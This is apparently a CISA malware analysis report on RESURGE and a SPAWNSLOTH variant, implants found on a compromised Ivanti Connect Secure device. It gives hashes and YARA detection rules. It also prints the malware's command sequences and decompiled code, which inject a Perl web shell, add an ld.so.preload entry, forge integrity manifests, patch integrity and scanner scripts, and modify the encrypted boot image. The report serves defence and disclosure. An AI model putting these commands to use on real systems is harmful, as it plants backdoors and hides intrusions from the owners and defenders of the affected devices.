America's Cyber Defense Agency
NATIONAL COORDINATOR FOR CRITICAL INFRASTRUCTURE SECURITY AND RESILIENCE

ANALYSIS REPORT

MAR-25993211-r1.v1 Ivanti Connect Secure (RESURGE)

Release Date: March 28, 2025 **Alert Code:** AR25-087A

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:CLEAR--Recipients may share this information without restriction. Sources may use TLP:CLEAR when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be shared without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp <https://www.cisa.gov/news-events/news/traffic-light-protocol-tlp-definitions-and-usage>.

Summary

Description

CISA analyzed three files obtained from a critical infrastructure's Ivanti Connect Secure device after threat actors exploited Ivanti CVE-2025-0282 for initial access. One file—that CISA is calling RESURGE—has functionality similar to SPAWNCHIMERA in how it creates a Secure Shell (SSH) tunnel for command and control (C2). RESURGE also contains a series of commands that can modify files, manipulate integrity checks, and create a web shell that is copied to the running Ivanti boot disk.

The second file is a variant of SPAWNSLOTH, that was contained within the RESURGE sample. The file tampers with the Ivanti device logs. The third file is a custom embedded binary that contains an open-source shell script and a subset of applets from the open-source tool BusyBox. The open-source shell script allows for ability to extract an uncompressed kernel image (vmlinux) from a compromised kernel image. BusyBox enables threat actors to perform various functions such as download and execute payloads on compromised devices.

For information on CVE-2025-0282, see CISA Alert CISA Releases Malware Analysis Report on RESURGE Malware Associated with Ivanti Connect Secure <https://www.cisa.gov/news-events/alerts/2025/03/28/cisa-releases-malware-analysis-report-resurge-malware-associated-ivanti-connect-secure>.

Download the PDF version of this report:

AR25-087A MAR-25993211-r1.v1 Ivanti Connect Secure (RESURGE) </sites/default/files/2025-03/mar-25993211.r1.v1.clear_.pdf>
(PDF, 1.33 MB)

For a downloadable copy of IOCs associated with this MAR, see:

AR25-087A STIX JSON </sites/default/files/2025-03/mar-25993211.r1.v1.clear_stix.json>
(JSON, 52.23 KB)

Submitted Files (2)

52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda (libdsupgrade.so)
b1221000f43734436ec8022caaa34b133f4581ca3ae8eccd8d57ea62573f301d (dsmain)

Additional Files (1)

3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104 (liblogblock.so)

Findings

52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda

Tags

`backdoor dropper rootkit`

Details

Name	libdsupgrade.so
Size	1414480 bytes
Type	ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Lin
MD5	cfb263a731d51ff489168bbca0d3bd2f
SHA1	87bcbbcb878aeee6ad4463464745770e95c6a937
SHA256	52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda
SHA512	3d12fdb707c188eb2e94cbf2dd42a50cfe343128652bab9245a54b887e35bc32c6a88c8faa5001a045df3991b387fcd6a
ssdeep	24576:h6j7Ed+iowSCstJtmOKSbqUmtzYxs7X0ToN8fp/AQClBka:h4wSC0JtmpntzYMU2
Entropy	6.171523

Antivirus

ESET	a variant of Linux/SpawnSnail.A trojan

YARA Rules

```
rule CISA_25993211_01 : RESURGE backdoor dropper rootkit bootkit
{
meta:
  author = "CISA Code & Media Analysis"
  incident = "25993211"
  date = "2025-03-03"
  last_modified = "20250303_1446"
  actor = "n/a"
  family = "SPAWN"
  capabilities = "n/a"
  malware_type = "backdoor dropper rootkit bootkit"
  tool_type = "unknown"
  description = "Detects RESURGE malware samples"
  sha256_1 = "52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda"
strings:
  $s1 = "snprintf"
  $s2 = "CGI::param"
  $s3 = "coreboot.img"
  $s4 = "scanner.py"
  $s5 = { 6C 6F 67 73 }
  $s6 = "accept"
  $s7 = "strncpy"
  $s8 = "dsmdm"
  $s9 = "funchook_create"
  $s10 = { 20 83 B8 ED }
condition:
  all of them
}
```

ssdeep Matches

No matches found.

Relationships

52bbc44eb4...	Contains	3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104

Description

The file 'libdsupgrade.so' is a malicious 32-bit Linux Shared Object file that was extracted from an Ivanti Connect Secure device version 22.7.4.30859. The file contains capabilities of a rootkit, dropper, backdoor, bootkit, proxy, and tunneler. The file shares similar functionality to SPAWNCHIMERA malware however, this file contains a series of commands that modify files, manipulates integrity checks, and creates a web shell that is copied to the running Ivanti boot disk. CISA is calling this variant RESURGE.

The similarities to SPAWNCHIMERA are as follows. RESURGE checks if the file is loaded by a program called 'web' or 'dsmdm' (Figure 1).

If the 'web' program is called, it hooks accept and strncpy. It contains an embedded private key, which is Exclusive Or

(XOR) encrypted, so the Threat Actor (TA) can connect to it with their public key. This proxy does not use encryption, it uses the decoding function (Figure 2). It uses tunneling to look for an Internet Protocol (IP) and data and decodes the data received which will then be funneled through the proxy. The hooked strncpy is modified to limit the copied data to 256 bytes. This is achieved by checking the web program is running within a specified address range, the bytes are not larger than 256, and the bytes do not begin with a specific byte pattern (Figure 3). The TA connects to the tunneler, which can also communicate with the file 'me/runtime/tmp/.logsrv'. When it receives traffic it will funnel to the file, where the TA can then communicate with the system via a secure shell.

If the 'dsmdm' program is called, it creates a thread for a secure shell via SSH to the system. It doesn't bind to a port but rather binds to a file called 'me/runtime/tmp/.logsrv' and listens for connections, giving the TA a secure socket shell to the system (Figure 4). In order for the TA to access the shell, they need to access the file. Another thread is also created to drop the file 'liblogblock.so' to the '/tmp' directory. It creates a handle to the 'proc' folder, enumerating through it looking for the 'dslogserver' process. It interacts with 'dslogserver' through shared memory to read from or write to the memory it is using. It checks whether the dslogserver is up. If not, it sleeps for 10 seconds and then checks again. This behavior continues in a loop until the server is detected, at which time it will try to load a shared object file called '/tmp/.liblogblock.so' (Figure 5).

RESURGE contains a series of commands that have been broken down and perform the following functionality:

Commands 1: Inserts itself into 'ld.so.preload', sets up a web shell for remote command execution within the 'compcheckresult.cgi' file, fakes integrity checks, and generates keys against the modified files to sign the manifest file so they appear legitimate (Figure 6).

Commands 2: Decrypts, modifies, and re-encrypts coreboot Random Access Memory (RAM) disk (Figure 7).

Commands 3: Uses system() to execute several sed commands. These commands modify the contents of two Python files ('scanner.py' and 'scanner_legacy.py') by searching for particular lines and replacing them with new one which, if successful, will result in the scanning scripts no longer keeping track of mismatches or new files (Figure 8).

---Begin Commands 1---
/bin/sed -i '/echo_console \"Saving package\"/i
  -Searches for the string echo_console "Saving package" and enters the following commands before it:

cp /lib/%s /tmp/data/root/lib
  -Copies itself to '/tmp/data/root/lib'.

cp /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg /tmp/data/root/home/venv3/lib/python3.6/site-packages/scanner-0.1- py3.6.egg
  -Copies a Python package 'scanner-0.1-py3.6.egg' to /tmp/data/root/home/venv3/lib/....

echo "/lib/%s "`/home/bin/openssl dgst -sha256 /lib/%s|cut -d " "-f 2` b\" >>
/tmp/data/root/home/etc/manifest/manifest
  -Calculates a SHA-256 hash for itself using openssl dgst. The result is appended to the 'manifest' file.

sed -i "1i/lib/%s" /tmp/data/root/etc/ld.so.preload

-This inserts itself to the beginning of the 'ld.so.preload' file.

touch /tmp/data/root/etc/ld.so.preload
-Updates the timestamp of the 'ld.so.preload' file.

sed -i "/ENV{\"DSINSTALL_CLEAN\"} = $clean;/a \\$ENV{\"LD_PRELOAD\"} = \"%s\";" /tmp/data/root/home/perl/DSUpgrade.pm
-Adds a new line after the pattern ENV{"DSINSTALL_CLEAN"} = $clean; in the 'DSUpgrade.pm' file. Then sets the environment variable LD_PRELOAD to %s ensuring the library is preloaded when the script is run.

sed -i "/popen(*FH, \$prog);/a \\$ENV{\"LD_PRELOAD\"} = \"\";" /tmp/data/root/home/perl/DSUpgrade.pm
-Searches for the string "/popen(*FH, \$prog);/" in the 'DSUpgrade.pm' file and then adds the line $ENV{"LD_PRELOAD"} = ""; after popen(...);. It clears the 'LD_PRELOAD' environment variable of all preloaded libraries after the 'DSUpgrade.pm' file executes.

sed -i "s/DSUpgrade.pm \w{64}/DSUpgrade.pm `/home/bin/openssl dgst -sha256 /tmp/data/root/home/perl/DSUpgrade.pm | cut -d \" \" -f 2` \" /tmp/data/root/home/etc/manifest/manifest
-Searches for the SHA-256 checksum for 'DSUpgrade.pm' in the 'manifest' file. It uses openssl dgst to calculate the hash of DSUpgrade.pm and replaces the old value with this hash.

sed -i "/main();/I if(CGI::param(\"vXm8DtMJG\")){\n\\ print \"Cache-Control: no-cache\\n\"; \n\\ print \"Content-type: text/html\\n\\\n\"; \n\\ my \$a=CGI::param(\"vXm8DtMJG\");\n\\ system(\"$a\");\n}" /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckresult.cgi
-This inserts Perl code before the main(); function in the file 'compcheckresult.cgi'. It checks for the parameter "vXm8DtMJG" and, if it exists, runs a command provided by the attacker through the web server

sed -i "s/compcheckresult.cgi \w{64}/compcheckresult.cgi `/home/bin/openssl dgst -sha256 "/tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckresult.cgi | cut -d \" \" -f 2` \" /tmp/data/root/home/etc/manifest/manifest
-Similar to the earlier command, it replaces the old 'compcheckresult.cgi' with the new SHA-256 hash inside the 'manifest' file.

sed -i "s/exit 1/exit 0/g\" /tmp/data/root/home/bin/check_integrity.sh
-This command replaces all instances of exit 1 with exit 0 in 'check_integrity.sh'. This ensures that the script does not exit with an error.

sed -i \"s/check_integrity.sh \w{64}/check_integrity.sh `/home/bin/openssl dgst -sha256 /tmp/data/root/home/bin/check_integrity.sh | cut -d \" \" -f 2`/\" /tmp/data/root/home/etc/manifest/manifest
-Similar to the earlier command, it replaces the old 'check_integrity.sh' with the new SHA-256 hash inside the 'manifest' file.

/home/bin/openssl genrsa -out private.pem 2048
-This generates a 2048-bit RSA private key and saves it in 'private.pem'.

/home/bin/openssl rsa -in private.pem -out manifest.2 -outform PEM -pubout

-This command extracts the public key from the 'private.pem' file and saves it as 'manifest.2'.

/home/bin/openssl dgst -sha512 -sign private.pem -out manifest.1 /tmp/data/root/home/etc/manifest/manifest
-This signs the manifest file using the private key generating a SHA-512 signature and saving it as 'manifest.1'.

mv manifest.1 manifest.2 /tmp/data/root/home/etc/manifest/
-Moves the signed manifest files (manifest.1 and manifest.2) into the '/tmp/data/root/home/etc/manifest/' directory

rm -f private.pem' ./do-install";
-Deletes the private key file and finally executes the script 'do-install'.
---End Commands 1---

---Begin Commands 2---
sed -i '/\\/bin\\/cp \\/tmp\\/data\\/root\\/\\${kerndir}\\/coreboot.img \\/tmp\\/data\\/boot\\//i\\\n"
Modifies `/tmp/installer/do-install-coreboot by adding the following commands before the line "/bin/cp /tmp/data/root/${kerndir}/coreboot.img /tmp/data/boot/"

/bin/mkdir /tmp/new_img
Create a new directory '/tmp/new_img'.

/bin/dsmain -g
Execute dsmain with the -g argument

/bin/sh /tmp/extract_vmlinux.sh /tmp/data/root/${kerndir}/bzImage > /tmp/new_img/vmlinux"
Executes a shell script 'extract_vmlinux.sh' against 'bzImage' and saves the output to '/tmp/new_img/vmlinux'.

/bin/rm /tmp/extract_vmlinux.sh
Deletes 'extract_vmlinux.sh'.

output=$(/bin/dsmain strings -t x /tmp/new_img/vmlinux | grep \"Linux version \")
Declares the variable $output. Searches for the string 'Linux Version' inside the 'vmlinux' file while preserving its hex offsets and saves the memory address of the string to $output.

offset=\"0x\"$(echo $output | awk '\"'\"'{print $1}'\"'\"')
Declares the $offset variable. Extracts the hex offset from $output and prefixes it with 0x.

offset=$((offset + 0xc0))
Adds 0xc0 hex (192 decimal) to the offset current value and saves it in $offset.

key=$(/bin/dsmain xxd -s \"$offset\" -l 16 -p /tmp/new_img/vmlinux)
Declares the $key variable. It reads 16 bytes from $offset using 'xxd'. These 16 bytes are then stored as hex in the $key.

/bin/dsmain -d /tmp/data/root/${kerndir}/coreboot.img /tmp/new_img/coreboot.img.1.gz $key

Executes dsmain with the -d argument to decrypt 'coreboot.img' using the extracted $key and stores the output as 'coreboot.img.1.gz'

/bin/mkdir /tmp/coreboot_fs
Makes a new directory '/tmp/coreboot_fs'.

/bin/dsmain gunzip /tmp/new_img/coreboot.img.1.gz -c > /tmp/coreboot_fs/coreboot.img.1
Executes dsmain to decompress 'coreboot.img.1.gz' into 'coreboot.img.1' within the new directory.

cd /tmp/coreboot_fs
Changes into the '/tmp/coreboot_fs' directory.

/bin/dsmain cpio -idvm < coreboot.img.1
Executes dsmain with cpio -idvm to extract the compressed 'coreboot.img.1'.

/bin/rm coreboot.img.1
Deletes 'coreboot.img.1'.

cp /bin/dsmain /tmp/coreboot_fs/bin/dsmain
Copies dsmain into the 'coreboot_fs' directory.

cp /lib/%s /tmp/coreboot_fs/lib/%s
Copies itself into the 'coreboot_fs' directory.

cp /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg /tmp/coreboot_fs/bin/scanner-0.1-py3.6.egg
Copies the python package 'scanner-0.1-py3.6.egg' into the 'coreboot_fs' directory.

/bin/sed -i rollback_on_error $? "Extracting Package"
Modifies the boot process by adding the below commands to the file '/tmp/coreboot_fs/bin/init' below the line 'rollback_on_error $? "Extracting Package".

/bin/dsmain touch /etc/ld.so.preload
Execute dsmain with touch '/etc/ld.so.preload' to update the access and modified time to the current time.

/bin/dsmain sed -I "1i/lib/%s" /home/root/etc/ld.so.preload
Adds itself to the top of 'ld.so.preload'.

/bin/cp /bin/dsmain /home/root/bin/dsmain
Copy dsmain into the 'root/bin' directory.

/bin/cp /bin/scanner-0.1-py3.6.egg /home/root/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg
Copy 'scanner-0.1-py3.6.egg' into a 'root' directory.

/bin/cp /lib/%s /home/root/lib/%s
Copy itself into the 'root/lib' directory.

"\" /tmp/coreboot_fs/bin/init
  The boot process files being modified with the above commands.

/bin/dsmain find . -print | /bin/dsmain cpio -o -H newc > /tmp/coreboot_fs/coreboot.img.1
  Execute dsmain to repackage the modified 'coreboot.img'.

/bin/dsmain gzip /tmp/coreboot_fs/coreboot.img.1
  Execute dsmain to compress the modified 'coreboot.img'.

/bin/dsmain -e /tmp/coreboot_fs/coreboot.img.1.gz /tmp/data/root/${kerndir}/coreboot.img $key
  Execute dsmain to encrypt the modified 'coreboot.img'.

rm -rf /tmp/coreboot_fs'
  Delete the '/tmp/coreboot_fs' directory.

/tmp/installer/do-install-coreboot
  The file being modified with the commands.
---End Commands 2---

---Begin Commands 3---
system("sed -i 's/mismatchCount += 1/pass/g' scripts/scanner.py");
  Replace the 'mismatchCount += 1' with 'pass' in 'scanner.py'.

system("sed -i 's/mismatchedFiles.append(file)/ /g' scripts/scanner.py");
  Replace the 'mismatchedFiles.append(file)' with a blank space in 'scanner.py'.

system("sed -i 's/newFilesCount += 1/pass/g' scripts/scanner.py");
  Replace 'newFilesCount += 1' with 'pass' in 'scanner.py'.

system("sed -i 's/newFilesDetected.append(file)/ /g' scripts/scanner.py");
  Replace 'newFilesDetected.append(file)' with a blank space in 'scanner.py'.

system("sed -i 's/mismatchCount += 1/pass/g' scripts/scanner_legacy.py");
  Replace the 'mismatchCount += 1' with 'pass' in 'scanner_legacy.py'.

system("sed -i 's/mismatchedFiles.append(file)/ /g' scripts/scanner_legacy.py");
  Replace the 'mismatchedFiles.append(file)' with a blank space in 'scanner_legacy.py'.

system("sed -i 's/newFilesCount += 1/pass/g' scripts/scanner_legacy.py");
  Replace 'newFilesCount += 1' with 'pass' in 'scanner_legacy.py'.

system("sed -i 's/newFilesDetected.append(file)/ /g' scripts/scanner_legacy.py");
  Replace 'newFilesDetected.append(file)' with a blank space in 'scanner_legacy.py'.
---End Commands 3---

Screenshots

```
void *sub_6E00()
{
  void *result; // eax
  char v1; // si
  pthread_t newthread[4]; // [esp+0h] [ebp-10h] BYREF

  if ( *_progname == 'w' && _progname[1] == 'e' && _progname[2] == 'b' && !_progname[3] )
  {
    v1 = FunchookCreate_writebyte();
    sub_A620();
    result = (void *)sub_6B70();
    if ( !result )
    {
      result = dlsym(0, "accept");
      dword_15A5A4 = (int)result;
      if ( result )
      {
        result = dlsym(0, "strncpy");
        dword_15A5A0 = (int)result;
        if ( result )
        {
          result = (void *)FUNCHOOK_prepare(v1, &dword_15A5A4, (int)TUNNELER);
          if ( !result )
          {
            result = (void *)FUNCHOOK_prepare(v1, &dword_15A5A0, (int)fix_strncpy);
            if ( !result )
              return (void *)((_DWORD (__cdecl *)(char, _DWORD))FUNCHOOK_install)(v1, 0);
          }
        }
      }
    }
  }
  else
  {
    result = (void *)strcmp(_progname, "dsmdm");
    if ( !result )
    {
      if ( !pthread_create(newthread, 0, (void *(*)(void *))socket_bind_here, 0) )
        pthread_detach(newthread[0]);
      return (void *)sub_8B90();
    }
  }
  return result;
}
```

Figure 1. - Checks if the file is loaded by a program called 'web' or 'dsmdm'.

```
{
  unsigned __int8 *v2; // ebx
  unsigned int result; // eax
  int v4; // edx

  if ( !a2 )
    return -1;
  v2 = a1;
  result = -1;
  do
  {
    result ^= *v2;
    v4 = 8;
    do
    {
      result = (result >> 1) ^ -(result & 1) & 0xEDB88320;
      --v4;
    }
    while ( v4 );
    ++v2;
  }
  while ( &a1[a2] != v2 );
  return result;
}
```

Figure 2. - The decoding function for the proxy.

```
while ( (_BYTE)v4 );
if ( v6 == 318 && (a1 & 0xFF000000) == -16777216 && a3 > 256 )
{                                       // 318 = web, memory address range, bytes greater than 256
  v7 = *a2;
  if ( *(_WORD *)a2 == 515 && a2[2] == 5 )    // byte pattern
  {
    if ( a2[3] != 4 )                   // byte pattern
      v3 = 256;                         // 256 byte limit
  }
  else
  {
    v3 = 256;                           // 256 byte limit
  }
```

Figure 3. - The modification to the hooked 'strncpy' function.

```
if ( sub_45DF1(v43, 0, 0, 0, (int)&addr) || sub_40584(ptr, 10, addr.sa_handler) )
{
LABEL_20:
  sub_326D5();
  return 0;
}
free(v43);
na = socket(1, 1, 0);
if ( na < 0 )
  return 0;
memset(&addr.sa_mask.__val[6], 0, 82);
*(void (**)(int, siginfo_t *, void *))((char *)&addr.sa_sigaction + 2) = (void (*)(int, siginfo_t *, void *))1869098752;
LOWORD(addr.sa_handler) = 1;
strcpy((char *)addr.sa_mask.__val + 2, "me/runtime/tmp/.logsrv ");
if ( bind(na, (const struct sockaddr *)&addr, 0x6Eu) || listen(na, 1) == -1 )
{
  close(na);
  return 0;
}
v61 = sub_8BE0();
if ( v61 != -1 )
{
  while ( 1 )
  {
    v45 = accept(na, 0, 0);
    if ( v45 < 0 )
      break;
    v46 = sub_4C050();
    v47 = (void *)v46;
```

Figure 4 - Setting up the SSH shell.

```
int sub_8C50()
{
  int v0; // edi
  int v2; // eax
  int v3; // [esp+0h] [ebp-38h]
  struct timespec v4; // [esp+14h] [ebp-24h] BYREF

  while ( sub_9C90("dslogserver") <= 1 )
    sleep(0xAu);
  sub_89F0(unk_143300);
  v0 = sub_8AC0("dslogserver", "/tmp/.liblogblock.so", 1);
  v3 = -1;
  if ( v0 )
    return v3;
  v2 = sub_8BE0();
  v3 = shmat(v2, 0, 0);
  if ( v3 == -1 )
    return v3;
  do
  {
    while ( 1 )
    {
      clock_gettime(0, &v4);
      if ( v4.tv_sec - *(_DWORD *)v3 <= 30 )
        goto LABEL_12;
      if ( access("/tmp/.liblogblock.so", 0) == -1 )
        sub_89F0(unk_143300);
      if ( sub_8AC0("dslogserver", "/tmp/.liblogblock.so", 1) )
        break;
      v0 = 0;
    }
```

Figure 5. - Loading a shared object '/tmp/.liblogblock.so'.

```
strcpy(byte_15A4A0, src[0]);
v5 = (int (__cdecl *)(int, int, char *, char *))dlsym((void *)0xFFFFFFFF, "vsnprintf");
if ( !v5 )
  return -1;
v6 = v5;
if ( !strcmp("dspkginstall", _progname) && !strcmp("./do-install %s %s", s2) )
{
  if ( access("bom_files", 0) )
  {
    v16 = a5;
    v8 = opendir("/tmp/installer/");
    if ( !v8 )
      exit(1);
    do
    {
      v9 = readdir(v8);
      if ( !v9 )
      {
        closedir(v8);
        v12 = (char *)__strdup(byte_15A4A0);
        path = __xpg_basename(v12);
        v14 = path;
        v13 = path;
        v11 = "/bin/sed -i '/echo_console \"Saving package\"/i\\ \\ cp /lib/%s /tmp/data/root/lib\\n\\ \\ cp /home/venv"
              "3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg /tmp/data/root/home/venv3/lib/python3.6/site-package"
              "s/scanner-0.1-py3.6.egg\\n\\ \\ echo \"/lib/%s \"\"`/home/bin/openssl dgst -sha256 /lib/%s|cut -d \" \" "
              "-f 2` b\" >> /tmp/data/root/home/etc/manifest/manifest\\n\\ \\ sed -i \"1i/lib/%s\" /tmp/data/root/etc/l"
              "d.so.preload\\n\\ \\ touch /tmp/data/root/etc/ld.so.preload\\n\\ \\ sed -i \"/ENV{\\\\\"OSINSTALL_CLEAN\\"
              "\"\\}/ s \\\\\\\\\\\\$clean;/a\\\\ \\\\ \\\\\\\\\\\\$ENV{\\\\\"LD_PRELOAD\\\\\"} = \\\\\"%s\\\\\";\" /tmp"
              "/data/root/home/perl/DSUpgrade.pm\\n\\ \\ sed -i \"/popen(\\\\\\\\\"FH, \\\\\\\\\\\\$prog);/a\\\\ \\\\ \\"
              "\\\\\\\\\\\\$ENV{\\\\\"LD_PRELOAD\\\\\"} = \\\\\"\\\\\";\" /tmp/data/root/home/perl/DSUpgrade.pm\\n\\ \\ s"
              "ed -i \"s/DSUpgrade.pm \\\\w\\\\{64\\\\}/DSUpgrade.pm `/home/bin/openssl dgst -sha256 /tmp/data/root/hom"
              "e/perl/DSUpgrade.pm | cut -d \" \" -f 2`/\" /tmp/data/root/home/etc/manifest/manifest\\n\\ \\ sed -i \"/"
              "main();/i\\if(CGI::param(\\\\\"vXm8DtMJG\\\\\")){\\\\n\\\\ \\\\ print \\\\\"Cache-Control: no-cache\\\\\\"
              "\\\\\\\\n\\\\\";\\\\n\\\\ \\\\ print \\\\\"Content-type: text/html\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\n\\"
              "\\\";\\\\n\\\\ \\\\ my \\\\\\\\\\\\$a=CGI::param(\\\\\"vXm8DtMJG\\\\\");\\\\n\\\\ \\\\ system(\\\\\"\\\\"
              "\\\\\\\\$a\\\\\");\\\\n}\\\" /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckresult.cgi\\n\\ "
              "\\ sed -i \"s/compcheckresult.cgi \\\\w\\\\{64\\\\}/compcheckresult.cgi `/home/bin/openssl dgst -sha256 "
              "/tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckresult.cgi | cut -d \" \" -f 2`/\" /tmp/data/"
              "root/home/etc/manifest/manifest\\n\\ \\ sed -i \"s/exit 1/exit 0/g\" /tmp/data/root/home/bin/check_integ"
              "rity.sh\\n\\ \\ sed -i \"s/check_integrity.sh \\\\w\\\\{64\\\\}/check_integrity.sh `/home/bin/openssl dg"
              "st -sha256 /tmp/data/root/home/bin/check_integrity.sh | cut -d \" \" -f 2`/\" /tmp/data/root/home/etc/ma"
              "nifest/manifest\\n\\ \\ /home/bin/openssl genrsa -out private.pem 2048\\n\\ \\ /home/bin/openssl rsa -in"
              " private.pem -out manifest.2 -outform PEM -pubout\\n\\ \\ /home/bin/openssl dgst -sha512 -sign private.p"
              "em -out manifest.1 /tmp/data/root/home/etc/manifest/manifest\\n\\ \\ mv manifest.1 manifest.2 /tmp/data/"
              "root/home/etc/manifest/\\n\\ \\ rm -f private.pem' ./do-install";
        goto LABEL_18;
```

Figure 6. - Commands 1.

```
;
while ( v9->d_type != 8 || strcmp(v9->d_name, "dspkginstall") );
closedir(v8);
if ( !strcmp("/tmp/new-pack.tgz", v16) || !strcmp("/var/tmp/new-pack.tgz", v16) )
{
  system("sed -i 's#./dspkginstall $innerarchive#/pkg/dspkginstall $innerarchive#' /tmp/installer/outer-do-install");
  return v6(a1, a2, s2, &a4);
}
if ( strcmp("/tmp/inside-package.tar.gz", v16) )
  return v6(a1, a2, s2, &a4);
v10 = (char *)__strdup(byte_15A4A0);
path = __xpg_basename(v10);
v14 = path;
v13 = path;
v11 = "sed -i '/\\/bin\\/cp \\/tmp\\/data\\/root\\/\\${kerndir}\\/coreboot.img \\/tmp\\/data\\/boot\\//i\\\n"
      "    /bin/mkdir /tmp/new_img\\\n"
      "    /bin/dsmain -g\\\n"
      "    /bin/sh /tmp/extract_vmlinux.sh /tmp/data/root/${kerndir}/bzImage > /tmp/new_img/vmlinux\\\n"
      "    /bin/rm /tmp/extract_vmlinux.sh\\\n"
      "    output=$(/bin/dsmain strings -t x /tmp/new_img/vmlinux | grep \"Linux version \")\\\n"
      "    offset=\"0x\"${echo $output | awk '\"'\"'{print $1}'\"'\"')\\\n"
      "    offset=$((offset + 0xc0))\\\n"
      "    key=$(/bin/dsmain xxd -s \"$offset\" -l 16 -p /tmp/new_img/vmlinux)\\\n"
      "    /bin/dsmain -d /tmp/data/root/${kerndir}/coreboot.img /tmp/new_img/coreboot.img.1.gz $key\\\n"
      "    /bin/mkdir /tmp/coreboot_fs\\\n"
      "    /bin/dsmain gunzip /tmp/new_img/coreboot.img.1.gz -c > /tmp/coreboot_fs/coreboot.img.1\\\n"
      "    cd /tmp/coreboot_fs\\\n"
      "    /bin/dsmain cpio -idvm < coreboot.img.1 \\\n"
      "    /bin/rm coreboot.img.1\\\n"
      "    cp /bin/dsmain /tmp/coreboot_fs/bin/dsmain\\\n"
      "    cp /lib/%s /tmp/coreboot_fs/lib/%s\\\n"
      "    cp /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg /tmp/coreboot_fs/bin/scanner-0.1-py3.6."
      "egg\\\n"
      "    /bin/sed -i \"/rollback_on_error \\\\$? \\\\\"Extracting Package \\\\\"/a \\\\\\\\\n"
      "    /bin/dsmain touch /etc/ld.so.preload\\\\n\\\\\\\\n"
      "    /bin/dsmain sed -i \\\\\"1i/lib/%s\\\\\" /home/root/etc/ld.so.preload\\\\n\\\\\\\\n"
      "    /bin/cp /bin/dsmain /home/root/bin/dsmain\\\\n\\\\\\\\n"
      "    /bin/cp /bin/scanner-0.1-py3.6.egg /home/root/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.e"
      "gg\\\\n\\\\\\\\n"
      "    /bin/cp /lib/%s /home/root/lib/%s\\\\n\\\\\\\\n"
      "\" /tmp/coreboot_fs/bin/init\\\n"
      "    /bin/dsmain find . -print | /bin/dsmain cpio -o -H newc > /tmp/coreboot_fs/coreboot.img.1\\\n"
      "    /bin/dsmain gzip /tmp/coreboot_fs/coreboot.img.1\\\n"
      "    /bin/dsmain -e /tmp/coreboot_fs/coreboot.img.1.gz /tmp/data/root/${kerndir}/coreboot.img  $key\\\n"
      "    rm -rf /tmp/coreboot_fs' /tmp/installer/do-install-coreboot";
```

Figure 7. - Commands 2.

```
LABEL_18:
    sprintf((char *)src, v11, v13, v14, path);
    system((const char *)src);
  }
  else
  {
    system("sed -i 's/mismatchCount += 1/pass/g' scripts/scanner.py");
    system("sed -i 's/mismatchedFiles.append(file)/ /g' scripts/scanner.py");
    system("sed -i 's/newFilesCount += 1/pass/g' scripts/scanner.py");
    system("sed -i 's/newFilesDetected.append(file)/ /g' scripts/scanner.py");
    system("sed -i 's/mismatchCount += 1/pass/g' scripts/scanner_legacy.py");
    system("sed -i 's/mismatchedFiles.append(file)/ /g' scripts/scanner_legacy.py");
    system("sed -i 's/newFilesCount += 1/pass/g' scripts/scanner_legacy.py");
    system("sed -i 's/newFilesDetected.append(file)/ /g' scripts/scanner_legacy.py");
  }
```

Figure 8. - Commands 3.

3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104

Tags

`trojan`

Details

Name	liblogblock.so
Size	95092 bytes
Type	ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped
MD5	44d09ca5b989e24ff5276d5b5ee1d394
SHA1	5309f9082da0fc24ebf03cb1741fa71335224e5a
SHA256	3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104
SHA512	63ded8e7294ee9a0d4181310d25c348d0d657d35e57740234cb98c9abfd8eb18bb3cd35a28bca3013f3e141b41131b923
ssdeep	1536:AxlL0im3r1G1+5ulEcfPTLuYzgrbwhpMTQe5pylmpsk76BAwu:Kt1+5unc3TLRujpyRzaw
Entropy	5.376198

Antivirus

No matches found.

YARA Rules

```
rule CISA_25993211_02 : SPAWNSLOTH trojan compromises_data_integrity
{
meta:
  author = "CISA Code & Media Analysis"
  incident = "25993211"
  date = "2025-03-04"
  last_modified = "20250304_0906"
  actor = "n/a"
  family = "SPAWN"
  capabilities = "compromises-data-integrity"
  malware_type = "trojan"
  tool_type = "unknown"
  description = "Detects SPAWNSLOTH malware samples"
  sha256_1 = "3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104"
strings:
  $s1 = "dslogserver"
  $s2 = "g_do_syslog_servers_exist"
  $s3 = "_ZN5DSLog4File3addEPKci"
  $s4 = "dlsym"
 condition:
  all of them
}
```

ssdeep Matches

No matches found.

Relationships

3526af9189...	Contained_Within	52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda

Description

The file, 'liblogblock.so', is a 32-bit Linux ELF binary identified as a variant of SPAWNSLOTH malware, a log tampering utility.

